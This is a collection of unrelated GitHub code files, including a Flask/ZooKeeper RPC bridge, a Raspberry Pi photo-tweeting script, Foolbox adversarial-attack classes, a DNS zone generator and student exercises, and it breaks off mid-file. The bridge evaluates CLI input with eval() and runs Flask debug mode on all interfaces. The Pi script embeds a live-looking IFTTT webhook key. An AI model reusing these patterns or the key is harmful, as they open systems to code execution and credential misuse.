{"seq_id":"2462768075","text":"s=input()\nd=input()\nresult=\"\"\n\nfirst=s.find(d)\n\nif(not(first==-1)):\n    result+=str(first)\n    \n    last=s.rfind(d)\n    if(last==first):\n        print(result)\n        quit()\n    \n        \n        \n    else:\n        result+=\" \"\n        result+=str(last)\n        \n        if len(result)!=0:\n            print(result)\n","repo_name":"SakushK/pp2_labs","sub_path":"lab1/H.py","file_name":"H.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3275747941","text":"from __future__ import print_function\n\nimport os\n\n\n__author__ = [\"tom van mele\"]\n__copyright__ = \"Block Research Group - ETH Zurich\"\n__license__ = \"MIT License\"\n__email__ = \"van.mele@arch.ethz.ch\"\n__version__ = \"0.5.0\"\n\nHERE = os.path.dirname(__file__)\n\nHOME = os.path.abspath(os.path.join(HERE, \"../../\"))\nDATA = os.path.abspath(os.path.join(HOME, \"data\"))\nDOCS = os.path.abspath(os.path.join(HOME, \"docs\"))\nTEMP = os.path.abspath(os.path.join(HOME, \"temp\"))\n\n\n__all_plugins__ = [\n    \"compas_cgal.booleans\",\n    \"compas_cgal.intersections\",\n    \"compas_cgal.meshing\",\n    \"compas_cgal.measure\",\n    \"compas_cgal.slicer\",\n    \"compas_cgal.triangulation\",\n]\n\n__all__ = [\"HOME\", \"DATA\", \"DOCS\", \"TEMP\"]\n","repo_name":"compas-dev/compas_cgal","sub_path":"src/compas_cgal/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"}
{"seq_id":"20501404874","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 20 10:47:48 2021\n@author: User\n\"\"\"\n\n# Note: There is currently no binary wheel for Fiona and Rasterio that are\n# available on Pypi. So if using a pip installed version of Python, you need\n# to install, in the right order, the following packages using wheels from\n# Christopher Gohlke’s website.\n\n# (1) https://www.lfd.uci.edu/~gohlke/pythonlibs/#gdal\n# (2) https://www.lfd.uci.edu/~gohlke/pythonlibs/#fiona\n# (3) https://www.lfd.uci.edu/~gohlke/pythonlibs/#shapely\n# (4) https://www.lfd.uci.edu/~gohlke/pythonlibs/#rasterio\n\n# You will also need a numpy version >= 1.20.0 for contextily to work properly.\n# Numpy can be installed directly from PyPi. There is no need to use a wheel\n# from Christopher Gohlke’s website.\n\nimport os.path as osp\nimport fiona\nimport geopandas as gpd\nfrom shapely.geometry import Point\n\nlat_ddeg = 46.40819\nlon_ddeg = -70.3709\n\n# https://www.donneesquebec.ca/recherche/dataset/decoupages-administratifs\ndirname = \"C:/Users/User/rsesq-bulletin\"\ngdbfile = \"SDA_ 2018-05-25 .gdb.zip\"\n\nlist_layers = fiona.listlayers(osp.join(dirname, gdbfile))\n\nmunic_s = gpd.read_file(\n    osp.join(dirname, gdbfile), driver='FileGDB', layer='munic_s')\n\n\ndef get_region_mrc_municipality_at(lat_ddeg, lon_ddeg, munic_geometry):\n    loc_point = Point(lon_ddeg, lat_ddeg)\n\n    contains = munic_s[munic_s['geometry'].contains(loc_point)]\n    region = contains.iloc[0]['MUS_NM_REG']\n    mrc = contains.iloc[0]['MUS_NM_MRC']\n    municipality = contains.iloc[0]['MUS_NM_MUN']\n\n    return region, mrc, municipality\n\n\n# %%\nfrom sardes.database.accessors import DatabaseAccessorSardesLite\ndatabase = \"D:/Desktop/rsesq_prod_28-06-2021.db\"\naccessor = DatabaseAccessorSardesLite(database)\naccessor.connect()\n\nobs_wells = accessor.get_observation_wells_data()\nfor index, obswell_data in obs_wells.iterrows():\n    region, mrc, municipality = get_region_mrc_municipality_at(\n        obswell_data['latitude'],\n        obswell_data['longitude'],\n        munic_s['geometry'])\n\n    if obswell_data['municipality'] != municipality:\n        print('| {} | {} | {} | {} | {} |'.format(\n            obswell_data['obs_well_id'],\n            obswell_data['municipality'],\n            municipality,\n            obswell_data['latitude'],\n            obswell_data['longitude']\n            ))\n\naccessor.close_connection()\n","repo_name":"cgq-qgc/rsesq-bulletin","sub_path":"scripts/read_decoupage_admin.py","file_name":"read_decoupage_admin.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74941878119","text":"#!/usr/bin/env python\n#-*-coding:utf-8\nfrom kazoo.client import KazooClient\nfrom kazoo.security import *\nfrom kazoo.exceptions import *\nfrom flask import Flask\nfrom flask_jsonrpc import JSONRPC,site\nimport sys\nimport os,time\nimport argparse\nimport logging\nimport configparser\nfrom conn_db import *\n\n\n\n\nlogging.basicConfig(level=logging.DEBUG,\n                format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s,PID:%(process)d',\n                datefmt='%a, %d %b %Y %H:%M:%S',\n                filename='/var/log/zk.log',\n                filemode='a')\n\n\napp = Flask(__name__)\njsonrpc = JSONRPC(app, '/api')\n\n\n\n\n\n\ndef CreateNode(path, value=b'None', acl=None,\n               ephemeral=False,sequence=False,\n               makepath=False,Recursively=False):\n\n    if Recursively == True and value:\n        raise  ValueError('Only Options Value or Recursively')\n    else:\n        zk.start()\n        if Recursively == True and not value:\n            zk.ensure_path(path, acl)\n        else:\n            zk.create(path, value, acl, ephemeral, sequence, makepath)\n        zk.stop()\n\ndef DeleteNode(path=None, version=-1, recursive=False):\n    zk.start()\n    zk.delete(path, version, recursive)\n    zk.stop()\n\ndef GetNode(path, watch=None, include_data=None):\n    \"\"\"\n\n    :rtype : object\n    \"\"\"\n\n    zk.start()\n    if include_data:\n        value, Stat=zk.get_children(path, watch, include_data)\n    else:\n        value, Stat=zk.get(path, watch)\n    zk.stop()\n    value.sort()\n\ndef SetNode(path, value, version=-1):\n    zk.start()\n    zk.set(path,value,version)\n    zk.stop()\n\nlist=[]   #需要初始化的zookeeper结果列表\n\n\n\ndef deco(func):\n    def _deco(*args, **kwargs):\n        env=kwargs['env']\n        obj=connect(env)\n        url=obj.zk()\n        #print('url',url)\n        zk = KazooClient(url)\n        if kwargs.get('path'):\n            prefix='/platform' \n            kwargs['path'] = prefix + kwargs['path']\n        zk.start()\n        ret = func(zk=zk,*args, **kwargs)\n        zk.stop()\n        return ret\n    return _deco\n\n\n\n\n@jsonrpc.method('load')\n@deco\ndef load(filestream,env=None,zk=None):\n    try:\n        for line in filestream:\n            line='/platform' + line\n            list=line.split('=',maxsplit=1)\n\n\n            if zk.exists(list[0]) != None:\n                zk.set(list[0],list[1].encode())\n\n            else:\n                zk.ensure_path(list[0])\n                zk.set(list[0],list[1].encode())\n        return True\n    except Exception as e:\n        return e\n        #print(e)\n    \n\n#\n\n\n\n\n@jsonrpc.method('dump')\n@deco\ndef dump(path,env=None,zk=None):\n    #print('dumppath=',path)\n    try:\n        del list[:]\n        subdump(path,zk)\n        return list\n    except Exception as e:\n        return e\n\n\n\n\ndef subdump(path,zk):\n    try:\n        if zk.get_children(path):       #第一次判断必须以子节点为迭代条件\n            nodes=zk.get_children(path)\n            for node in nodes:\n                new_path=path+'/'+node\n                if len(zk.get_children(new_path)) >= 0:   #以路径是否有子节点为迭代条件\n                #if value == None or len(value) == 0:   #以路径是否有值为迭代条件\n                    subdump(new_path,zk)\n        else:\n            new_value,new_status=zk.get(path)\n            if new_value == None:\n                new_value=b\"\"\n            result=path+'='+new_value.decode()\n            list.append(result[9:])\n    except Exception as e:\n        raise Exception(path,e)\n\n@jsonrpc.method('exists')\n@deco\ndef Exists(path, zk=None, watch=None):\n    try:\n        if zk.exists(path):\n            return True\n        else:\n            return False\n    except Exception as err:\n        return\n\n\n@jsonrpc.method('create')\n@deco\ndef Create(path=None, value=\"\", acl=None,sequence=False,Recursively=False,env=None,zk=None):\n    if Recursively and value:\n        raise ValueError(\"the recursively=True can't create when you put value='' args\")\n    elif Recursively:\n        try:\n            zk.ensure_path(path, acl)\n            return True\n        except Exception as err:\n            return False\n    else:\n        try:\n            if value ==\"\":\n                value=\"\"\n            if value is None:\n                value=\"\"\n            if value is not None:\n                value=str.encode(value)\n            zk.create(path, value, acl, sequence)\n            return True\n        except Exception as err:\n            return err\n\n@jsonrpc.method('delete')\n@deco\ndef Delete(path, version=-1, recursive=False,env=None,zk=None): \n    try:\n        zk.delete(path, version, recursive)\n        return True\n    except Exception as err:\n        return False\n\n\n\n\n@jsonrpc.method('get')\n@deco\ndef Get(path, watch=None, include_data=None,env=None,zk=None):\n    '''zookeeper获取数据与获取子节点'''\n    if include_data:\n        include_data=True\n        value, Stat=zk.get_children(path, watch, include_data)\n        value.sort()\n        return value\n    else:\n        value, Stat=zk.get(path, watch)\n        if not value:\n            return None\n        elif isinstance(value,bytes) or len(value) >= 0:\n            return value.decode(encoding=\"utf-8\")\n        else:\n            value.sort()\n            return value\n\n@jsonrpc.method('set')\n@deco\ndef Set(path, value=\"\", version=-1,env=None,zk=None):\n    if value==None:\n        try:\n            zk.set(path,value,version)\n            return True\n        except Exception as err:\n            return err\n    else:\n        value=str.encode(value)\n        try:\n            zk.set(path,value,version)\n            return True\n        except Exception as err:\n            return err\n\nif __name__ == '__main__':\n    if len(sys.argv[1:]) > 0:\n        parser = argparse.ArgumentParser(description='CREATE,DELETE,SET,GET method operate zookeeper')\n        parser.add_argument('--host', default='127.0.0.1', help='connect host, --host \"IP\"')\n        parser.add_argument('--port', default='2181', help='connect host port, --port \"port\"')\n        parser.add_argument('--action', help='choices method, --action \"create\"',choices=['create', 'delete', 'set', 'get'])\n        parser.add_argument('--path', help='path of znode')\n        parser.add_argument('--data',default='', help='znode data')\n        parser.add_argument('-r', '--recursively',action='store_true',help='whether recursively create')\n        parser.add_argument('-e', '--ephemeral',action='store_true',help='create ephemeral znode')\n        parser.add_argument('-s', '--sequence',action='store_true',help='create sequence znode')\n        parser.add_argument('--acl',help='define acl and you must provide a dictionary,for example:{\"perms\":3,\"scheme\":\"ip\",\"id\":\"192.168.0.0\"} ACL scheme chiose (world,auth,digest,ip,super,sasl)')\n        parser.add_argument('--timeout',help='zookeeper connect timeout',type=int,default=10.0)\n        parser.add_argument('--read_only',action='store_false',help='read only')\n        parser.add_argument('-v', '--version',default=-1,type=int,help='znode version')\n        args = parser.parse_args()\n        zk = KazooClient(hosts=\"%s:%s\" % (args.host,args.port),\n                     timeout=args.timeout, client_id=None, handler=None,\n                     default_acl=None, auth_data=None, read_only=None,\n                     randomize_hosts=True, connection_retry=None,\n                     command_retry=None, logger=None)\n        args.datas=args.data.encode(encoding=\"utf-8\")\n#\n        if args.action == 'create':\n            if isinstance(args.acl,str):\n                acl=eval(args.acl)\n                ACLS=[ACL(perms=acl['perms'], id=Id(scheme=acl['scheme'], id=acl['id']))]\n            else:\n                ACLS=None\n            CreateNode(path=args.path, value=args.datas, acl=ACLS,\n                   ephemeral=args.ephemeral,sequence=args.sequence,\n                   makepath=False,Recursively=args.recursively)\n        elif args.action == 'set':\n            SetNode(path=args.path,value=args.datas, version=-1)\n        elif args.action == 'get':\n            GetNode(path=args.path, watch=None, include_data=None)\n        elif args.action == 'delete':\n            DeleteNode(path=args.path, version=args.version, recursive=args.recursively)\n        else:\n            parser.print_usage()\n    else:\n        app.run(host='0.0.0.0',port=8081, processes=10,debug=True,use_reloader=True)\n\n\n\n\n\n\n","repo_name":"liuzhenan/devops","sub_path":"zk-bridge.py","file_name":"zk-bridge.py","file_ext":"py","file_size_in_byte":8346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18180524053","text":"'''1.Escreva um programa em Python que contenha uma função que\npeça um número e verifique se ele é par ou ímpar.\nNo principal, chame a função.'''\n\ndef parOuImpar(num):\n  if num%2==0:\n    return True\n  else:\n    return False\n\nprint(\"Digite o número: \")\nnum = int(input(''))\n\nparOuImpar(num)\nif parOuImpar == True:\n  print(\"É par!\")\nelse:\n  print(\"É ímpar!\")","repo_name":"PabloHenrique/AulasPython-Fatec","sub_path":"Exercícios/Microinformática/Termo II/Lista 02/exe01.py","file_name":"exe01.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"43188106370","text":"import time\n\nimport pytest\n\nfrom cnaas_nms.db.job import Job, JobStatus\nfrom cnaas_nms.db.session import sqla_session\nfrom cnaas_nms.scheduler.jobresult import DictJobResult\nfrom cnaas_nms.scheduler.wrapper import job_wrapper\n\n\n@job_wrapper\ndef job_testfunc_success(text=\"\", job_id=None, scheduled_by=None):\n    print(text)\n    return DictJobResult(result={\"status\": \"success\"})\n\n\n@job_wrapper\ndef job_testfunc_exception(text=\"\", job_id=None, scheduled_by=None):\n    print(text)\n    raise Exception(\"testfunc_exception raised exception\")\n\n\n@pytest.mark.integration\ndef test_add_schedule(postgresql, scheduler):\n    job1_id = scheduler.add_onetime_job(\n        job_testfunc_success, when=1, scheduled_by=\"test_user\", kwargs={\"text\": \"success\"}\n    )\n    job2_id = scheduler.add_onetime_job(\n        job_testfunc_exception, when=1, scheduled_by=\"test_user\", kwargs={\"text\": \"exception\"}\n    )\n    assert isinstance(job1_id, int)\n    assert isinstance(job2_id, int)\n    print(f\"Test job 1 scheduled as ID { job1_id }\")\n    print(f\"Test job 2 scheduled as ID { job2_id }\")\n    time.sleep(3)\n    with sqla_session() as session:\n        job1 = session.query(Job).filter(Job.id == job1_id).one_or_none()\n        assert isinstance(job1, Job), \"Test job 1 could not be found\"\n        assert job1.status == JobStatus.FINISHED, \"Test job 1 did not finish\"\n        assert job1.result == {\"status\": \"success\"}, \"Test job 1 returned bad status\"\n        job2 = session.query(Job).filter(Job.id == job2_id).one_or_none()\n        assert isinstance(job2, Job), \"Test job 2 could not be found\"\n        assert job2.status == JobStatus.EXCEPTION, \"Test job 2 did not make exception\"\n        assert \"message\" in job2.exception, \"Test job 2 did not contain message in exception\"\n\n\n@pytest.mark.integration\ndef test_abort_schedule(postgresql, scheduler):\n    job3_id = scheduler.add_onetime_job(\n        job_testfunc_success, when=600, scheduled_by=\"test_user\", kwargs={\"text\": \"abort\"}\n    )\n    assert isinstance(job3_id, int)\n    print(f\"Test job 3 scheduled as ID { job3_id }\")\n    scheduler.remove_scheduled_job(job3_id)\n    time.sleep(3)\n    with sqla_session() as session:\n        job3 = session.query(Job).filter(Job.id == job3_id).one_or_none()\n        assert isinstance(job3, Job), \"Test job 3 could not be found\"\n        assert job3.status == JobStatus.ABORTED, \"Test job 3 did not abort\"\n        assert job3.result == {\"message\": \"removed\"}, \"Test job 3 returned bad status\"\n","repo_name":"SUNET/cnaas-nms","sub_path":"src/cnaas_nms/scheduler/tests/test_scheduler.py","file_name":"test_scheduler.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"18"}
{"seq_id":"19016473935","text":"#Outbox for Raspberry Pi\n#by Laura Lytle\n#Email: laura_lytle@aol.com\n#Website: laura.dev\n#Captures images with a USB webcam and posts them to twitter\n#via IFTT. Controlled by button input.\n#May 20, 2019\nfrom gpiozero import LED, Button\nfrom time import sleep\nimport urllib.request\nimport requests\nimport time\nimport os\nimport paramiko\nimport scp\n\n#image capture parameters\nimgFormat = \"png\" #format for caputured images\nimgComp = 6 #image compression factor (0-9)\ncamPort = \"/dev/video0\" #camera port\n\n#misc variable initialization\npiclist = []\nimgName = \"\"\nisArmed = False\nnumPics = 0\n\n#arms the device\ndef armCam ():\n    global isArmed\n    isArmed = True\n    print(\"Armed\")\n    shutLED.on()\n    armLED.on()\n\n#disarms the device\ndef disarmCam ():\n    global isArmed\n    isArmed = False\n    print(\"Disarmed\")\n    shutLED.off()\n    armLED.off()\n\n#captures & posts image  on shutter press    \ndef shutPress ():\n    \n    #brings in global variables\n    global isArmed\n    global picList\n    global numPics\n    global camPort\n    global imgFormat\n    global imgComp\n    global imgName\n    print(\"Shutter pressed, may not be armed\")\n    if (isArmed):\n        print(\"shutter pressed, armed\")\n        #gets image count if images dir exists, else creates it\n        if (os.path.isdir(\"./images\")):\n            picList = os.listdir(\"./images\")\n            numPics = len(picList)\n        else:\n            os.system(\"mkdir ./images\")\n            numPics = 0\n        imgName = \"./images/cap\" + str(numPics) + \".\" + imgFormat\n        #captures & saves an image using paramters specified above    \n        os.system(\"fswebcam --device %s --no-banner --%s %d --save %s\" % (camPort, imgFormat, imgComp, imgName))\n        print(\"going to press\")    \n        posterBoi(imgName)\n\n#Tweets image via iftt\n#Note: This isn't very secure\ndef posterBoi (fName):\n    \n    #brings in global variables\n    global imgFormat\n    \n    if (200 == urllib.request.urlopen(\"http://www.twitter.com\").getcode()): #checks if Twitter is up\n        #reads server info from external file\n        with open(\"secr.et\", 'r') as input:\n            fLines = []\n            for line in input:\n                fLines.append(line[:-1])\n        print(fLines)\n        server = fLines[0]\n        user = fLines[1]\n        password = fLines[2]\n        fPath = fLines[3] + \"image.\" + imgFormat\n        wHook = fLines[4]\n        fURL = fLines[5] + \"image.\" + imgFormat\n\n        #creates ssh/scp clients for server\n        sshCon = paramiko.SSHClient()\n        sshCon.load_host_keys(os.path.expanduser('~/.ssh/known_hosts'))\n        sshCon.connect(server, 22, user, password)\n        scpCon = scp.SCPClient(sshCon.get_transport())\n        #scp's image to server\n        scpCon.put(fName, fPath)\n       \n        time.sleep(5)\n\n        #send tweet with webhook\n        r = requests.post(\"https://maker.ifttt.com/trigger/outbox/with/key/c2EyNgpusRaaVUzjI3aQEy\")\n\n#initializes GPIO\nshutLED = LED(pin=\"GPIO19\") #LED in shutter button\narmLED = LED(pin=\"GPIO5\") #LED in arm button\narm = Button(pin = \"GPIO6\", bounce_time = 0.25)#arm button\nshutter = Button(pin = \"GPIO26\", bounce_time = 0.25) #shutter button\n\narm.when_pressed = disarmCam\narm.when_released = armCam\nshutter.when_pressed = shutPress\n\n\n#Main loop\n#(not much here because all of the \n#image capture and upload is happening\n#in interrupt-like events)\nwhile(True):\n    loop = \"Keep rockin'\"\n\n","repo_name":"GameOfKnowing/outbox","sub_path":"outBox.py","file_name":"outBox.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"72824325480","text":"from typing import Union, Any, Optional\nimport eagerpy as ep\n\nfrom ..devutils import atleast_kd\n\nfrom ..models import Model\n\nfrom ..criteria import Criterion\n\nfrom ..distances import Distance\n\nfrom .base import FlexibleDistanceMinimizationAttack\nfrom .base import T\nfrom .base import get_is_adversarial\nfrom .base import get_criterion\nfrom .base import raise_if_kwargs\nfrom .base import verify_input_bounds\n\n\nclass BinarySearchContrastReductionAttack(FlexibleDistanceMinimizationAttack):\n    \"\"\"Reduces the contrast of the input using a binary search to find the\n    smallest adversarial perturbation\n\n    Args:\n        distance : Distance measure for which minimal adversarial examples are searched.\n        binary_search_steps : Number of iterations in the binary search.\n            This controls the precision of the results.\n        target : Target relative to the bounds from 0 (min) to 1 (max)\n            towards which the contrast is reduced\n    \"\"\"\n\n    def __init__(\n        self,\n        *,\n        distance: Optional[Distance] = None,\n        binary_search_steps: int = 15,\n        target: float = 0.5,\n    ):\n        super().__init__(distance=distance)\n        self.binary_search_steps = binary_search_steps\n        self.target = target\n\n    def run(\n        self,\n        model: Model,\n        inputs: T,\n        criterion: Union[Criterion, T],\n        *,\n        early_stop: Optional[float] = None,\n        **kwargs: Any,\n    ) -> T:\n        raise_if_kwargs(kwargs)\n        x, restore_type = ep.astensor_(inputs)\n        del inputs, kwargs\n\n        verify_input_bounds(x, model)\n\n        criterion = get_criterion(criterion)\n        is_adversarial = get_is_adversarial(criterion, model)\n\n        min_, max_ = model.bounds\n        target = min_ + self.target * (max_ - min_)\n        direction = target - x\n\n        lower_bound = ep.zeros(x, len(x))\n        upper_bound = ep.ones(x, len(x))\n        epsilons = lower_bound\n        for _ in range(self.binary_search_steps):\n            eps = atleast_kd(epsilons, x.ndim)\n            is_adv = is_adversarial(x + eps * direction)\n            lower_bound = ep.where(is_adv, lower_bound, epsilons)\n            upper_bound = ep.where(is_adv, epsilons, upper_bound)\n            epsilons = (lower_bound + upper_bound) / 2\n\n        epsilons = upper_bound\n        eps = atleast_kd(epsilons, x.ndim)\n        xp = x + eps * direction\n        return restore_type(xp)\n\n\nclass LinearSearchContrastReductionAttack(FlexibleDistanceMinimizationAttack):\n    \"\"\"Reduces the contrast of the input using a linear search to find the\n    smallest adversarial perturbation\"\"\"\n\n    def __init__(\n        self,\n        *,\n        distance: Optional[Distance] = None,\n        steps: int = 1000,\n        target: float = 0.5,\n    ):\n        super().__init__(distance=distance)\n        self.steps = steps\n        self.target = target\n\n    def run(\n        self,\n        model: Model,\n        inputs: T,\n        criterion: Union[Criterion, T],\n        *,\n        early_stop: Optional[float] = None,\n        **kwargs: Any,\n    ) -> T:\n        raise_if_kwargs(kwargs)\n        x, restore_type = ep.astensor_(inputs)\n        del inputs, kwargs\n\n        verify_input_bounds(x, model)\n\n        criterion = get_criterion(criterion)\n        is_adversarial = get_is_adversarial(criterion, model)\n\n        min_, max_ = model.bounds\n        target = min_ + self.target * (max_ - min_)\n        direction = target - x\n\n        best = ep.ones(x, len(x))\n\n        epsilon = 0.0\n        stepsize = 1.0 / self.steps\n        for _ in range(self.steps):\n            # TODO: reduce the batch size to the ones that have not yet been sucessful\n\n            is_adv = is_adversarial(x + epsilon * direction)\n            is_best_adv = ep.logical_and(is_adv, best == 1)\n            best = ep.where(is_best_adv, epsilon, best)\n\n            if (best < 1).all():\n                break  # pragma: no cover\n\n            epsilon += stepsize\n\n        eps = atleast_kd(best, x.ndim)\n        xp = x + eps * direction\n        return restore_type(xp)\n","repo_name":"bethgelab/foolbox","sub_path":"foolbox/attacks/contrast_min.py","file_name":"contrast_min.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":2569,"dataset":"github-code","pt":"18"}
{"seq_id":"28029057910","text":"import json\nimport logging\nimport importlib\nimport argparse\nfrom pyspark.sql import SparkSession\n\n\ndef _createSparkSession():\n    return SparkSession.builder.master(\"local[*]\").appName(\"etl\").getOrCreate()\n\n\ndef _parseArguments():\n    # Parse arguments by spark-submit\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--job\", required=True)\n    return parser.parse_args()\n\n\ndef main():\n\n    args = _parseArguments()\n\n    logging.debug(\"loading conf.json...\")\n    with open(\"conf.json\", \"r\") as conf_file:\n        conf = json.load(conf_file)\n\n    logging.debug(\"creating SparkSession...\")\n    spark = _createSparkSession()\n\n    logging.debug(\"jobs/run.py...\")\n    job_module = importlib.import_module(f\"jobs.{args.job}\")\n    job_module._run(spark, conf)\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"anujkhaire/spark_projects","sub_path":"pyspark/ETL/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32425809103","text":"#!/usr/bin/env python\n\nimport itertools\nimport random\nimport sys\nimport os\n\nif len(sys.argv) != 3:\n    print(\"{:s} <zonename> <rrcount>\".format(sys.argv[0]))\n    sys.exit(1)\n\nsuffix   = str(sys.argv[1])\nrrcount  = int(sys.argv[2])\nout_dir  = 'zones'\nout_file = suffix + '.zone'\nwordlist = []\n\n# Generate random number\ndef rnd(a, b):\n    return random.randint(a, b)\n\ndef rnd_hex(l):\n    return '%x' % random.randrange(256**(l/2))\n\n# Random IPv4\ndef rnd_ip4():\n    return '%d.%d.%d.%d' % (rnd(0,255), rnd(0,255), rnd(0,255), rnd(0,255))\n\n# Random IPv6\ndef rnd_ip6():\n    addr = 'fd9c:20c0:91fc:cb36'\n    for i in range(0,4):\n        addr += ':' + rnd_hex(4)\n    return addr\n\n# Write out RR\ndef rr_write(dst, name, rrtype, val):\n    return dst.write('%s 3600 %s %s\\n' % (name, rrtype, val))\n\n# Write out header\ndef header_write(dst):\n    origin = suffix + '.'\n    ns1 = 'ns1.' + origin\n    ns2 = 'ns2.' + origin\n    rr_write(dst, origin,    'SOA', 'a.outside. b.outside. 2013100800 1800 900 604800 86400')\n    rr_write(dst, origin,    'NS',  ns1)\n    rr_write(dst, origin,    'NS',  ns2)\n    rr_write(dst, ns1, 'A',   rnd_ip4())\n    rr_write(dst, ns2, 'AAAA',rnd_ip6())\n    global count\n    count += 5\n\n# Write out permutations\ndef permute_write(dst, wordlist, n):\n    global count\n    for p in itertools.permutations(wordlist, n):\n        if count > rrcount:\n            return\n        # Each unique name has two delegations and an A/AAAA\n        name  = '%s.%s.' % (''.join(p), suffix)\n        ns1 = 'ns1.' + name\n        ns2 = 'ns2.' + name\n        rr_write(dst, name, 'NS',   ns1)\n        rr_write(dst, name, 'NS',   ns2)\n        rr_write(dst, ns1,  'A',    rnd_ip4())\n        rr_write(dst, ns2,  'AAAA', rnd_ip6())\n        count += 4\n\n\n# Prepare output directory\ntry:\n    os.makedirs(out_dir)\nexcept:\n    pass\n\n# Open output zone file\ntry:\n    out_path = os.path.join(out_dir, out_file)\n    out = open(out_path, \"w\")\nexcept:\n    print('Failed to create output file \\'%s\\'' % out_path)\n\n# Load wordlist\nfor p in open('./wordlist', 'r'):\n    wordlist.append(p.strip())\n\n# Write out header\nglobal count\ncount = 0\nheader_write(out)\n\n# Permute words\nfor n in range(1, 4):\n    permute_write(out, wordlist, n)\n","repo_name":"dario617/kvs-dns-benchmarking","sub_path":"ansible/roles/get_datasets/files/gen_zone.py","file_name":"gen_zone.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41546910465","text":"from math import log\nimport operator\nimport matplotlib.pyplot as plt\n\ndef create_data_set():\n    data_set = [[1, 1, 'yes'],\n                [1, 1, 'yes'],\n                [1, 0, 'no'],\n                [0, 1, 'no'],\n                [0, 1, 'no']]\n    labels = ['no surfacing', 'flippers']\n    # change to discrete values\n    return data_set, labels\n\n# 定义文本框和箭头格式\ndecisionNode = dict(boxstyle=\"sawtooth\", fc=\"0.8\")\nleafNode = dict(boxstyle=\"round4\", fc=\"0.8\")\narrow_args = dict(arrowstyle=\"<-\")\n\n\n# 绘制带箭头的注解\ndef plotNode(nodeTxt, centerPt, parentPt, nodeType):\n    createPlot.ax1.annotate(nodeTxt, xy=parentPt, xycoords='axes fraction',\n                            xytext=centerPt, textcoords='axes fraction',\n                            va=\"center\", ha=\"center\", bbox=nodeType, arrowprops=arrow_args)\n\n\n# 绘树主函数\ndef createPlot(inTree):\n    fig = plt.figure(1, facecolor='white')\n    fig.clf()\n    # 设置坐标轴数据\n    axprops = dict(xticks=[], yticks=[])\n    # # 无坐标轴\n    createPlot.ax1 = plt.subplot(111, frameon=False, **axprops)\n    # 带坐标轴\n    # createPlot.ax1=plt.subplot(111,frameon=False)\n    plotTree.totalW = float(getNumLeafs(inTree))\n    plotTree.totalD = float(getTreeDepth(inTree))\n    # 两个全局变量plotTree.xOff和plotTree.yOff追踪已经绘制的节点位置，\n    # 以及放置下一个节点的恰当位置\n    plotTree.xOff = -0.5 / plotTree.totalW;\n    plotTree.yOff = 1.0;\n    plotTree(inTree, (0.5, 1.0), '')\n    plt.show()\n\n\n'''\n获取叶节点的数目\n'''\n\n\ndef getNumLeafs(myTree):\n    numLeafs = 0\n    firstSides = list(myTree.keys())\n    firstStr = firstSides[0]\n    secondDict = myTree[firstStr]\n    for key in secondDict.keys():\n        # 判断节点是否为字典来以此判断是否为叶子节点\n        if type(secondDict[\n                    key]).__name__ == 'dict':  # test to see if the nodes are dictonaires, if not they are leaf nodes\n            numLeafs += getNumLeafs(secondDict[key])\n        else:\n            numLeafs += 1\n    return numLeafs\n\n\n'''\n获取树的层数\n'''\n\n\ndef getTreeDepth(myTree):\n    maxDepth = 0\n    firstSides = list(myTree.keys())\n    firstStr = firstSides[0]\n    secondDict = myTree[firstStr]\n    for key in secondDict.keys():\n        if type(secondDict[\n                    key]).__name__ == 'dict':  # test to see if the nodes are dictonaires, if not they are leaf nodes\n            thisDepth = 1 + getTreeDepth(secondDict[key])\n        else:\n            thisDepth = 1\n        if thisDepth > maxDepth: maxDepth = thisDepth\n    return maxDepth\n\n\ndef plotTree(myTree, parentPt, nodeTxt):  # if the first key tells you what feat was split on\n    # 计算宽与高\n    numLeafs = getNumLeafs(myTree)  # this determines the x width of this tree\n    depth = getTreeDepth(myTree)\n    firstStr = list(myTree.keys())[0]  # the text label for this node should be this\n    cntrPt = (plotTree.xOff + (1.0 + float(numLeafs)) / 2.0 / plotTree.totalW, plotTree.yOff)\n    # 标记子节点属性值\n    plotMidText(cntrPt, parentPt, nodeTxt)\n    plotNode(firstStr, cntrPt, parentPt, decisionNode)\n    secondDict = myTree[firstStr]\n    # 减少y偏移\n    plotTree.yOff = plotTree.yOff - 1.0 / plotTree.totalD\n    for key in secondDict.keys():\n        if type(secondDict[\n                    key]).__name__ == 'dict':  # test to see if the nodes are dictonaires, if not they are leaf nodes\n            plotTree(secondDict[key], cntrPt, str(key))  # recursion\n        else:  # it's a leaf node print the leaf node\n            plotTree.xOff = plotTree.xOff + 1.0 / plotTree.totalW\n            plotNode(secondDict[key], (plotTree.xOff, plotTree.yOff), cntrPt, leafNode)\n            plotMidText((plotTree.xOff, plotTree.yOff), cntrPt, str(key))\n    plotTree.yOff = plotTree.yOff + 1.0 / plotTree.totalD\n\n\n# if you do get a dictonary you know it's a tree, and the first element will be another dict\n\n'''\n计算父节点和子节点的中间位置，并在此处添加简单的文本标签信息\n'''\n\n\ndef plotMidText(cntrPt, parentPt, txtString):\n    xMid = (parentPt[0] - cntrPt[0]) / 2.0 + 